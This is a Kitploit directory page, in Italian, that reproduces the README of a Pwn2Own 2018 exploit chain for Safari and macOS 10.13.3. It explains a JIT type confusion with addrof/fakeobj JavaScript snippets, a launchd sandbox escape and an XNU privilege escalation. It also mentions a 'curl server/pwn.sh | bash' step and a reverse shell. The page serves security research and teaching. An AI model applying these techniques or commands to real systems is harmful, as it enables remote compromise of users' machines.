Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pwn2own2018 — Un exploit chain di Pwn2Own | Kitploit
Strumenti/GitHubGitHub/saelo/pwn2own2018
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

Un exploit chain di Pwn2Own

Vedi Repository
759112687 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pwn2Own 2018: Safari + macOS

RCE su Safari, sandbox escape e LPE fino al kernel per macOS 10.13.3.

Utilizzo

Installa nasm e tornado:

brew install nasm
pip3 install tornado

Controlla config.py se vuoi cambiare l'host o le porte. Successivamente avvia il server con ./server.py e naviga all'URL mostrato.

Panoramica

Questa catena di exploit utilizza tre bug diversi per passare dal codice JavaScript in esecuzione all'interno di Safari all'esecuzione di codice in modalità kernel:

  1. Un'ottimizzazione errata nel compilatore JIT DFG che può essere utilizzata per causare una type confusion
  2. Controlli sandbox mancanti in launchd, che consentono a processi in sandbox di generare processi arbitrari (non in sandbox)
  3. Un bug logico in XNU, che consente a un processo di sovrascrivere la bootstrap port dei propri processi figli, portando a una situazione di MitM IPC

La catena di exploit è implementata in sei fasi, ciascuna situata nella propria sottodirectory:

  • stage0/: l'exploit WebKit
  • stage1/: la payload della prima fase scritta in assembly
  • stage2/: la payload della seconda fase per eseguire la sandbox escape
  • stage3/: script shell per coordinare le fasi rimanenti
  • stage4/: un LPE per ottenere root
  • stage5/: un LPE per ottenere l'esecuzione di codice nel kernel
  • libspc/: reimplementazione del protocollo XPC, utilizzata dalle fasi 2, 4 e 5

Ogni sottodirectory (ad eccezione di libspc/) contiene un file chiamato make.py che, quando eseguito, esegue qualsiasi tipo di comando di build necessario e crea un elenco di file da servire tramite il webserver.

Fase 0

Obiettivo: ottenere l'esecuzione di shellcode all'interno del processo WebContent in sandbox
Bug sfruttato: ottimizzazione errata nel compilatore JIT DFG
Vedi anche questa presentazione BlackHat

Il compilatore JIT DFG rappresenta il codice JavaScript nella propria rappresentazione intermedia (IR), il Data Flow Graph (DFG). Tipicamente, un'espressione JavaScript viene tradotta in una o più istruzioni IR in questo grafo. Nel caso di una funzione costruttore, l'istruzione CreateThis viene emessa ed è responsabile dell'allocazione dell'oggetto this costruito dalla funzione. Ad esempio, la funzione function Consructor() {}, quando chiamata con new, verrebbe tradotta approssimativamente in

v0 = CreateThis
return v0

Osservando l'AbstractInterpreter, possiamo vedere che il compilatore JIT DFG presuppone che l'operazione CreateThis non comporti effetti collaterali oltre a un'allocazione di heap. Infatti, questo codice:

function Constructor(obj) {
    return obj.x;
}

verrà tradotto approssimativamente nelle seguenti istruzioni DFG: (Qui, la StructureCheck è stata spostata all'inizio della funzione dalla TypeCheckHoistingPhase).

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Tuttavia, questa ipotesi non è valida, poiché il codice slow-path per CreateThis può eseguire codice JavaScript arbitrario in alcuni casi. In particolare, utilizzando una Proxy attorno alla funzione reale, la trap get per la proprietà "prototype" verrà chiamata durante il gestore slow-path per CreateThis, poiché deve recuperare l'oggetto prototype per l'oggetto costruito:

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

In questo modo, ora è possibile modificare la Structure di un oggetto senza che il compilatore JIT esegua un bailout.

Questo bug può essere utilizzato per costruire le primitive addrof e fakeobj come segue:

addrof

Compiliamo il codice per il caso di una JSArray con elementi double unboxed, poi, nella callback, passiamo a elementi JSValue. Successivamente, il codice JIT caricherà una JSValue dall'array, ma tratterà quei bit come un double e li restituirà a noi. Il seguente codice assegnerà l'indirizzo di leakme alla proprietà "address" dell'oggetto costruito.

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Qui essenzialmente facciamo il contrario: ottimizziamo il codice per memorizzare un double in un array con elementi double unboxed, poi passiamo nuovamente a elementi JSValue nella callback. Il codice continuerà a scrivere il nostro double controllato in forma unboxed nello storage di supporto. Quando successivamente accediamo a quell'elemento dell'array, tratterà quei bit come una JSValue invece di un double. Il seguente codice scriverà il double unboxed address nel buffer di supporto di a, che possiamo poi leggere come JSValue, consentendoci di "iniettare" JSValue di nostra scelta nel motore.

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

In questo modo otteniamo la capacità di scrivere un double e trattarlo come puntatore a JSObject e viceversa. Questo può essere sfruttato come descritto in attacking javascript engines.

L'exploit ottiene prima la lettura/scrittura arbitraria della memoria di processo falsificando una Float64Array, poi cerca la regione JIT (mappata RWX) e scrive lì la shellcode della fase 1.

Fase 1

Obiettivo: avviare la fase 2 scrivendo una .dylib su disco e caricandola tramite dlopen()

Una breve payload in assembly che essenzialmente fa quanto segue:

  1. Chiamare confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) per ottenere un percorso verso una directory scrivibile
  2. Creare un nuovo file chiamato 'x.dylib' nella directory scrivibile
  3. Scrivere la dylib della fase 2 nel file appena creato
  4. Caricare la dylib nel processo WebContent tramite dlopen()

Fase 2

Obiettivo: uscire dalla sandbox
Bug sfruttato: controlli sandbox mancanti nell'API "legacy_spawn" di launchd
Vedi anche questa presentazione

Launchd espone l'endpoint RPC "legacy_spawn" come routine 817 nel sottosistema 3. Questa API non valida se al chiamante dovrebbe essere consentito di generare processi e semplicemente esegue execve di qualsiasi binario sul sistema per conto del chiamante con argomenti controllati. Poiché launchd è raggiungibile tramite la bootstrap port, ciò rende possibile uscire dalla sandbox.

L'exploit essenzialmente esegue curl server/pwn.sh | bash e quindi passa il controllo alla fase 3.

Fase 3

Obiettivo: aprire la calcolatrice e avviare le fasi rimanenti

Questo esegue open /Applications/Calculator.app e stabilisce una reverse shell, poi recupera tutti i file necessari per le fasi rimanenti ed esegue gli exploit.

Fase 4

Obiettivo: ottenere root tramite un exploit LPE
Bug sfruttato: MitM sulla bootstrap port di XNU
Vedi anche questa presentazione POC

Scarica lo strumento